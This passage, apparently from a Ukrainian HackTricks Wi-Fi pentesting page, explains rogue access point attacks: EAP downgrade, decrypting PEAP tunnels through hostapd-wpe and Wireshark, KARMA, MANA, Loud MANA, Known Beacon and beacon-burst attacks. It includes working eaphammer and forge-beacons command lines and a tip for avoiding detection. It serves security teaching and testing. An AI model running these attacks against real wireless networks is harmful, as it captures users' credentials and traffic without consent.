  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP для вручного вказання пропонованих методів (пропонування тих самих методів автентифікації в тому ж порядку, що й організація, ускладнить виявлення атаки).

Використання Airgeddon

Airgeddon може використовувати раніше згенеровані сертифікати для пропозиції аутентифікації EAP в мережах WPA/WPA2-Enterprise. Фальшива мережа знизить протокол підключення до EAP-MD5, щоб захопити користувача та MD5 пароля. Пізніше зловмисник може спробувати розшифрувати пароль. Airggedon пропонує можливість постійної атаки Evil Twin (шумної) або лише створення атаки Evil до підключення когось (плавно).

Налагодження тунелів PEAP та EAP-TTLS TLS в атаках Evil Twins

Цей метод був протестований в з'єднанні PEAP, але оскільки я розшифровую довільний TLS тунель, це також повинно працювати з EAP-TTLS

У конфігурації hostapd-wpe закоментуйте рядок, що містить dh_filedh_file=/etc/hostapd-wpe/certs/dh на #dh_file=/etc/hostapd-wpe/certs/dh) Це зробить так, що hostapd-wpe обмінюватиме ключі за допомогою RSA, а не DH, тому ви зможете розшифрувати трафік пізніше, знаючи приватний ключ сервера.

Тепер запустіть Evil Twin за допомогою hostapd-wpe з цією зміненою конфігурацією, як завжди. Також запустіть wireshark на інтерфейсі, який виконує атаку Evil Twin.

Тепер або пізніше (коли ви вже захопили деякі наміри аутентифікації), ви можете додати приватний ключ RSA до wireshark в: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Додайте новий запис і заповніть форму цими значеннями: IP-адреса = будь-яка -- Порт = 0 -- Протокол = дані -- Файл ключа (виберіть свій файл ключа, щоб уникнути проблем, виберіть файл ключа без захисту паролем).

І перегляньте нову вкладку "Decrypted TLS":

KARMA, MANA, Loud MANA та атака на відомі маяки

Чорні та білі списки ESSID та MAC

Різні типи списків фільтрації контролю доступу до медіаадаптерів (MFACLs) та відповідні режими та вплив на поведінку підробленої точки доступу (AP):

  1. Білий список на основі MAC:

  • Підроблена AP буде відповідати лише на запити від пристроїв, вказаних у білому списку, залишаючись невидимою для всіх інших, які не вказані.

  1. Чорний список на основі MAC:

  • Підроблена AP ігноруватиме запити від пристроїв у чорному списку, ефективно роблячи підроблену AP невидимою для цих конкретних пристроїв.

  1. Білий список на основі SSID:

  • Підроблена AP буде відповідати на запити лише для конкретних ESSIDs, вказаних у списку, роблячи її невидимою для пристроїв, чиї списки переваг мереж не містять цих ESSIDs.

  1. Чорний список на основі SSID:

  • Підроблена AP не буде відповідати на запити для конкретних ESSIDs у чорному списку, роблячи її невидимою для пристроїв, які шукають ці певні мережі.

# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Цей метод дозволяє зловмиснику створювати шкідливу точку доступу (AP), яка відповідає на всі запити на пробу від пристроїв, що намагаються підключитися до мереж. Ця техніка обманює пристрої, щоб підключитися до AP зловмисника, підміняючи мережі, які пристрої шукають. Як тільки пристрій надсилає запит на підключення до цієї підробленої AP, воно завершує підключення, що призводить до помилкового підключення пристрою до мережі зловмисника.

MANA

Після цього пристрої почали ігнорувати непрохані відповіді мереж, що зменшило ефективність початкового атаки karma. Однак був введений новий метод, відомий як атака MANA, розроблений Іаном де Вільє та Домініком Уайтом. Цей метод передбачає, що підроблена AP захоплює Списки Перевагованих Мереж (PNL) з пристроїв, відповідаючи на їх мовчазні запити на пробу з назвами мереж (SSID), які раніше запитувалися пристроями. Ця складна атака обходить захист від початкової атаки karma, використовуючи спосіб, яким пристрої запам'ятовують та пріоритизують відомі мережі.

Атака MANA працює, моніторячи як направлені, так і мовчазні запити на пробу від пристроїв. Для направлених запитів вона записує MAC-адресу пристрою та запитану назву мережі, додаючи цю інформацію до списку. Коли отримується мовчазний запит, AP відповідає інформацією, що відповідає будь-якій з мереж у списку пристрою, спонукаючи пристрій підключитися до підробленої AP.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Гучна атака MANA

Гучна атака MANA - це вдосконалена стратегія для випадків, коли пристрої не використовують спрямоване сканування або коли їх списки перевірених мереж (PNL) невідомі зловмиснику. Вона ґрунтується на принципі, що пристрої в одній області ймовірно мають спільні назви мереж у своїх PNL. Замість селективної відповіді ця атака транслює відповіді на запити для кожної назви мережі (ESSID), знайденої в комбінованих PNL всіх спостережених пристроїв. Цей широкий підхід збільшує ймовірність того, що пристрій впізнає знайому мережу і намагається підключитися до підробленої точки доступу (AP).

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Відома атака Beacon

Коли атака Loud MANA може бути недостатньою, відома атака Beacon пропонує інший підхід. Цей метод перебирає процес підключення, симулюючи AP, який відповідає на будь-яке ім'я мережі, перебираючи список потенційних ESSID, отриманих зі словника. Це симулює наявність численних мереж з метою знайти відповідну ESSID у списку пріоритетних мереж жертви, що спонукає до спроби підключення до підробленого AP. Атаку можна посилити, поєднуючи її з опцією --loud для більш агресивної спроби зловити пристрої.

Eaphammer реалізував цю атаку як атаку MANA, де всі ESSID у списку заряджаються (ви також можете поєднати це з --loud для створення атаки Loud MANA + Відомі Beaconи):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Відома атака Beacon Burst

Відома атака Beacon Burst включає швидкісне масове розсилання рамок маяка для кожного ESSID, перерахованого в файлі. Це створює щільне середовище фальшивих мереж, що значно збільшує ймовірність підключення пристроїв до підробленої точки доступу, особливо коли це поєднано з атакою MANA. Ця техніка використовує швидкість і обсяг для перевантаження механізмів вибору мережі пристроїв.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct - це протокол, який дозволяє пристроям підключатися безпосередньо один до одного за допомогою Wi-Fi без необхідності у традиційній точці доступу. Ця можливість вбудована в різноманітні пристрої Інтернету речей (IoT), такі як принтери та телевізори, що сприяє прямому зв'язку між пристроями. Важливою особливістю Wi-Fi Direct є те, що один пристрій виконує роль точки доступу, відомої як власник групи, для управління з'єднанням.

Безпека з'єднань Wi-Fi Direct встановлюється за допомогою Wi-Fi Protected Setup (WPS), який підтримує кілька методів безпечного спарювання, включаючи:

  • Конфігурація за допомогою кнопки (PBC)

  • Введення PIN-коду

  • Ближньодійова комунікація (NFC)

Ці методи, зокрема введення PIN-коду, вразливі на ті ж уразливості, що й WPS у традиційних бездротових мережах, що робить їх об'єктом подібних векторів атак.

Перехоплення EvilDirect

Перехоплення EvilDirect - це атака, специфічна для Wi-Fi Direct. Вона відображає концепцію атаки Evil Twin, але спрямована на з'єднання Wi-Fi Direct. У цьому сценарії атакуючий видає себе за законного власника групи з метою обману пристроїв і підключення до зловмисної сутності. Цей метод можна виконати за допомогою інструментів, таких як airbase-ng, вказавши канал, ESSID та MAC-адресу підробленого пристрою:

Посилання

TODO: Перегляньте https://github.com/wifiphisher/wifiphisher (вхід за допомогою Facebook та імітація WPA на порталах з ловушками)

Приєднуйтесь до HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо Хакінгу Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про Хакінг у Реальному Часі Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні Оголошення Будьте в курсі найновіших баг-баунті, які запускаються, та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з найкращими хакерами вже сьогодні!

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated